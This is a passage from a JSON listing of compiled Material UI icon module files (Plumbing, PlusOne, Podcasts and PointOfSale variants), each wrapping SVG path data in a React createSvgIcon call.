    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.16 5.64 3.54 3.54c1.17-1.17 1.17-3.07 0-4.24L16.16 1.4l-4.24 4.24 2.12 2.12zM4.842 12.7082l3.5355-3.5356 2.1214 2.1214-3.5356 3.5355z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.45 7.76-1.41 1.41-4.25-4.24-2.12 2.12 4.24 4.24-8.49 8.49 2.83 2.83L16.86 12l.71.71 1.41-1.41z\"\n}, \"1\")], 'PlumbingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlumbingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.28 4.93-2.12-2.12c-.78-.78-2.05-.78-2.83 0L11.5 5.64l2.12 2.12 2.12-2.12 3.54 3.54c1.17-1.18 1.17-3.08 0-4.25M5.49 13.77c.59.59 1.54.59 2.12 0l2.47-2.47-2.12-2.13-2.47 2.47c-.59.59-.59 1.54 0 2.13\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.04 7.76-.71.71-.71.71L10.44 6c-.59-.6-1.54-.6-2.12-.01-.59.59-.59 1.54 0 2.12l3.18 3.18-.71.71-6.36 6.36c-.78.78-.78 2.05 0 2.83s2.05.78 2.83 0L16.45 12c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}, \"1\")], 'PlumbingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlumbingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.28 4.93-2.12-2.12c-.78-.78-2.05-.78-2.83 0L11.5 5.64l2.12 2.12 2.12-2.12 3.54 3.54c1.17-1.18 1.17-3.08 0-4.25M5.49 13.77c.59.59 1.54.59 2.12 0l2.47-2.47-2.12-2.13-2.47 2.47c-.59.59-.59 1.54 0 2.13\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.04 7.76-.71.71-.71.71L10.44 6c-.59-.6-1.54-.6-2.12-.01-.59.59-.59 1.54 0 2.12l3.18 3.18-.71.71-6.36 6.36c-.78.78-.78 2.05 0 2.83s2.05.78 2.83 0L16.45 12c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}, \"1\")], 'PlumbingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlusOne.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8H8v4H4v2h4v4h2v-4h4v-2h-4zm4.5-1.92V7.9l2.5-.5V18h2V5z\"\n}), 'PlusOne');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlusOne.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8H8v4H4v2h4v4h2v-4h4v-2h-4zm4.5-1.92V7.9l2.5-.5V18h2V5z\"\n}), 'PlusOne');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlusOneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8H8v4H4v2h4v4h2v-4h4v-2h-4zm4.5-1.92V7.9l2.5-.5V18h2V5z\"\n}), 'PlusOneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlusOneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8H8v4H4v2h4v4h2v-4h4v-2h-4zm4.5-1.92V7.9l2.5-.5V18h2V5z\"\n}), 'PlusOneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlusOneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 8c-.55 0-1 .45-1 1v3H5c-.55 0-1 .45-1 1s.45 1 1 1h3v3c0 .55.45 1 1 1s1-.45 1-1v-3h3c.55 0 1-.45 1-1s-.45-1-1-1h-3V9c0-.55-.45-1-1-1m5.5-1.21c0 .57.52 1 1.08.89L17 7.4V17c0 .55.45 1 1 1s1-.45 1-1V6.27c0-.65-.6-1.12-1.23-.97l-2.57.62c-.41.09-.7.46-.7.87\"\n}), 'PlusOneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlusOneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 8c-.55 0-1 .45-1 1v3H5c-.55 0-1 .45-1 1s.45 1 1 1h3v3c0 .55.45 1 1 1s1-.45 1-1v-3h3c.55 0 1-.45 1-1s-.45-1-1-1h-3V9c0-.55-.45-1-1-1m5.5-1.21c0 .57.52 1 1.08.89L17 7.4V17c0 .55.45 1 1 1s1-.45 1-1V6.27c0-.65-.6-1.12-1.23-.97l-2.57.62c-.41.09-.7.46-.7.87\"\n}), 'PlusOneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlusOneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8H8v4H4v2h4v4h2v-4h4v-2h-4zm4.5-1.92V7.9l2.5-.5V18h2V5z\"\n}), 'PlusOneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlusOneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8H8v4H4v2h4v4h2v-4h4v-2h-4zm4.5-1.92V7.9l2.5-.5V18h2V5z\"\n}), 'PlusOneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlusOneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8H8v4H4v2h4v4h2v-4h4v-2h-4zm4.5-1.92V7.9l2.5-.5V18h2V5z\"\n}), 'PlusOneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlusOneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8H8v4H4v2h4v4h2v-4h4v-2h-4zm4.5-1.92V7.9l2.5-.5V18h2V5z\"\n}), 'PlusOneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Podcasts.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12c0 .74-.4 1.38-1 1.72V22h-2v-8.28c-.6-.35-1-.98-1-1.72 0-1.1.9-2 2-2s2 .9 2 2m-2-6c-3.31 0-6 2.69-6 6 0 1.74.75 3.31 1.94 4.4l1.42-1.42C8.53 14.25 8 13.19 8 12c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.19-.53 2.25-1.36 2.98l1.42 1.42C17.25 15.31 18 13.74 18 12c0-3.31-2.69-6-6-6m0-4C6.48 2 2 6.48 2 12c0 2.85 1.2 5.41 3.11 7.24l1.42-1.42C4.98 16.36 4 14.29 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8c0 2.29-.98 4.36-2.53 5.82l1.42 1.42C20.8 17.41 22 14.85 22 12c0-5.52-4.48-10-10-10\"\n}), 'Podcasts');"
  },
  {
    "path": "packages/mui-icons-material/lib/Podcasts.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12c0 .74-.4 1.38-1 1.72V22h-2v-8.28c-.6-.35-1-.98-1-1.72 0-1.1.9-2 2-2s2 .9 2 2m-2-6c-3.31 0-6 2.69-6 6 0 1.74.75 3.31 1.94 4.4l1.42-1.42C8.53 14.25 8 13.19 8 12c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.19-.53 2.25-1.36 2.98l1.42 1.42C17.25 15.31 18 13.74 18 12c0-3.31-2.69-6-6-6m0-4C6.48 2 2 6.48 2 12c0 2.85 1.2 5.41 3.11 7.24l1.42-1.42C4.98 16.36 4 14.29 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8c0 2.29-.98 4.36-2.53 5.82l1.42 1.42C20.8 17.41 22 14.85 22 12c0-5.52-4.48-10-10-10\"\n}), 'Podcasts');"
  },
  {
    "path": "packages/mui-icons-material/lib/PodcastsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12c0 .74-.4 1.38-1 1.72V22h-2v-8.28c-.6-.35-1-.98-1-1.72 0-1.1.9-2 2-2s2 .9 2 2m-2-6c-3.31 0-6 2.69-6 6 0 1.74.75 3.31 1.94 4.4l1.42-1.42C8.53 14.25 8 13.19 8 12c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.19-.53 2.25-1.36 2.98l1.42 1.42C17.25 15.31 18 13.74 18 12c0-3.31-2.69-6-6-6m0-4C6.48 2 2 6.48 2 12c0 2.85 1.2 5.41 3.11 7.24l1.42-1.42C4.98 16.36 4 14.29 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8c0 2.29-.98 4.36-2.53 5.82l1.42 1.42C20.8 17.41 22 14.85 22 12c0-5.52-4.48-10-10-10\"\n}), 'PodcastsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PodcastsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12c0 .74-.4 1.38-1 1.72V22h-2v-8.28c-.6-.35-1-.98-1-1.72 0-1.1.9-2 2-2s2 .9 2 2m-2-6c-3.31 0-6 2.69-6 6 0 1.74.75 3.31 1.94 4.4l1.42-1.42C8.53 14.25 8 13.19 8 12c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.19-.53 2.25-1.36 2.98l1.42 1.42C17.25 15.31 18 13.74 18 12c0-3.31-2.69-6-6-6m0-4C6.48 2 2 6.48 2 12c0 2.85 1.2 5.41 3.11 7.24l1.42-1.42C4.98 16.36 4 14.29 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8c0 2.29-.98 4.36-2.53 5.82l1.42 1.42C20.8 17.41 22 14.85 22 12c0-5.52-4.48-10-10-10\"\n}), 'PodcastsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PodcastsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12c0 .74-.4 1.38-1 1.72V21c0 .55-.45 1-1 1s-1-.45-1-1v-7.28c-.6-.35-1-.98-1-1.72 0-1.1.9-2 2-2s2 .9 2 2m-3.25-5.87c-2.27.46-4.12 2.28-4.61 4.55-.4 1.86.07 3.62 1.08 4.94.35.45 1.03.47 1.43.07l.07-.07c.34-.34.34-.87.06-1.25-.68-.9-.98-2.1-.66-3.37.35-1.42 1.52-2.57 2.95-2.88C13.69 7.52 16 9.49 16 12c0 .87-.28 1.67-.76 2.32-.3.41-.29.97.07 1.33.44.44 1.17.37 1.54-.14.72-.98 1.15-2.2 1.15-3.51 0-3.72-3.39-6.65-7.25-5.87m.08-4.06c-4.53.51-8.22 4.18-8.76 8.71-.35 2.95.59 5.67 2.32 7.7.37.43 1.03.46 1.43.06l.05-.05c.35-.35.38-.92.05-1.3-1.56-1.83-2.33-4.37-1.7-7.06.7-3.01 3.18-5.39 6.22-5.97C15.53 3.18 20 7.08 20 12c0 1.96-.72 3.76-1.9 5.16-.34.4-.31.98.05 1.35.42.42 1.11.39 1.49-.07C21.11 16.7 22 14.46 22 12c0-5.91-5.13-10.62-11.17-9.93\"\n}), 'PodcastsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PodcastsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12c0 .74-.4 1.38-1 1.72V21c0 .55-.45 1-1 1s-1-.45-1-1v-7.28c-.6-.35-1-.98-1-1.72 0-1.1.9-2 2-2s2 .9 2 2m-3.25-5.87c-2.27.46-4.12 2.28-4.61 4.55-.4 1.86.07 3.62 1.08 4.94.35.45 1.03.47 1.43.07l.07-.07c.34-.34.34-.87.06-1.25-.68-.9-.98-2.1-.66-3.37.35-1.42 1.52-2.57 2.95-2.88C13.69 7.52 16 9.49 16 12c0 .87-.28 1.67-.76 2.32-.3.41-.29.97.07 1.33.44.44 1.17.37 1.54-.14.72-.98 1.15-2.2 1.15-3.51 0-3.72-3.39-6.65-7.25-5.87m.08-4.06c-4.53.51-8.22 4.18-8.76 8.71-.35 2.95.59 5.67 2.32 7.7.37.43 1.03.46 1.43.06l.05-.05c.35-.35.38-.92.05-1.3-1.56-1.83-2.33-4.37-1.7-7.06.7-3.01 3.18-5.39 6.22-5.97C15.53 3.18 20 7.08 20 12c0 1.96-.72 3.76-1.9 5.16-.34.4-.31.98.05 1.35.42.42 1.11.39 1.49-.07C21.11 16.7 22 14.46 22 12c0-5.91-5.13-10.62-11.17-9.93\"\n}), 'PodcastsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PodcastsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12c0 .74-.4 1.38-1 1.72V22h-2v-8.28c-.6-.35-1-.98-1-1.72 0-1.1.9-2 2-2s2 .9 2 2m-2-6c-3.31 0-6 2.69-6 6 0 1.74.75 3.31 1.94 4.4l1.42-1.42C8.53 14.25 8 13.19 8 12c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.19-.53 2.25-1.36 2.98l1.42 1.42C17.25 15.31 18 13.74 18 12c0-3.31-2.69-6-6-6m0-4C6.48 2 2 6.48 2 12c0 2.85 1.2 5.41 3.11 7.24l1.42-1.42C4.98 16.36 4 14.29 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8c0 2.29-.98 4.36-2.53 5.82l1.42 1.42C20.8 17.41 22 14.85 22 12c0-5.52-4.48-10-10-10\"\n}), 'PodcastsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PodcastsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12c0 .74-.4 1.38-1 1.72V22h-2v-8.28c-.6-.35-1-.98-1-1.72 0-1.1.9-2 2-2s2 .9 2 2m-2-6c-3.31 0-6 2.69-6 6 0 1.74.75 3.31 1.94 4.4l1.42-1.42C8.53 14.25 8 13.19 8 12c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.19-.53 2.25-1.36 2.98l1.42 1.42C17.25 15.31 18 13.74 18 12c0-3.31-2.69-6-6-6m0-4C6.48 2 2 6.48 2 12c0 2.85 1.2 5.41 3.11 7.24l1.42-1.42C4.98 16.36 4 14.29 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8c0 2.29-.98 4.36-2.53 5.82l1.42 1.42C20.8 17.41 22 14.85 22 12c0-5.52-4.48-10-10-10\"\n}), 'PodcastsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PodcastsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12c0 .74-.4 1.38-1 1.72V22h-2v-8.28c-.6-.35-1-.98-1-1.72 0-1.1.9-2 2-2s2 .9 2 2m-2-6c-3.31 0-6 2.69-6 6 0 1.74.75 3.31 1.94 4.4l1.42-1.42C8.53 14.25 8 13.19 8 12c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.19-.53 2.25-1.36 2.98l1.42 1.42C17.25 15.31 18 13.74 18 12c0-3.31-2.69-6-6-6m0-4C6.48 2 2 6.48 2 12c0 2.85 1.2 5.41 3.11 7.24l1.42-1.42C4.98 16.36 4 14.29 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8c0 2.29-.98 4.36-2.53 5.82l1.42 1.42C20.8 17.41 22 14.85 22 12c0-5.52-4.48-10-10-10\"\n}), 'PodcastsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PodcastsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12c0 .74-.4 1.38-1 1.72V22h-2v-8.28c-.6-.35-1-.98-1-1.72 0-1.1.9-2 2-2s2 .9 2 2m-2-6c-3.31 0-6 2.69-6 6 0 1.74.75 3.31 1.94 4.4l1.42-1.42C8.53 14.25 8 13.19 8 12c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.19-.53 2.25-1.36 2.98l1.42 1.42C17.25 15.31 18 13.74 18 12c0-3.31-2.69-6-6-6m0-4C6.48 2 2 6.48 2 12c0 2.85 1.2 5.41 3.11 7.24l1.42-1.42C4.98 16.36 4 14.29 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8c0 2.29-.98 4.36-2.53 5.82l1.42 1.42C20.8 17.41 22 14.85 22 12c0-5.52-4.48-10-10-10\"\n}), 'PodcastsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PointOfSale.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 4H7V4h10zm3 16H4c-1.1 0-2-.9-2-2v-1h20v1c0 1.1-.9 2-2 2m-1.47-11.81C18.21 9.47 17.49 9 16.7 9H7.3c-.79 0-1.51.47-1.83 1.19L2 18h20zM9.5 16h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'PointOfSale');"
  },
  {
    "path": "packages/mui-icons-material/lib/PointOfSale.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 4H7V4h10zm3 16H4c-1.1 0-2-.9-2-2v-1h20v1c0 1.1-.9 2-2 2m-1.47-11.81C18.21 9.47 17.49 9 16.7 9H7.3c-.79 0-1.51.47-1.83 1.19L2 18h20zM9.5 16h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'PointOfSale');"
  },
  {
    "path": "packages/mui-icons-material/lib/PointOfSaleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 4H7V4h10zm3 16H4c-1.1 0-2-.9-2-2v-1h20v1c0 1.1-.9 2-2 2m-1.47-11.81C18.21 9.47 17.49 9 16.7 9H7.3c-.79 0-1.51.47-1.83 1.19L2 18h20zM9.5 16h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'PointOfSaleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PointOfSaleOutlined.mjs",
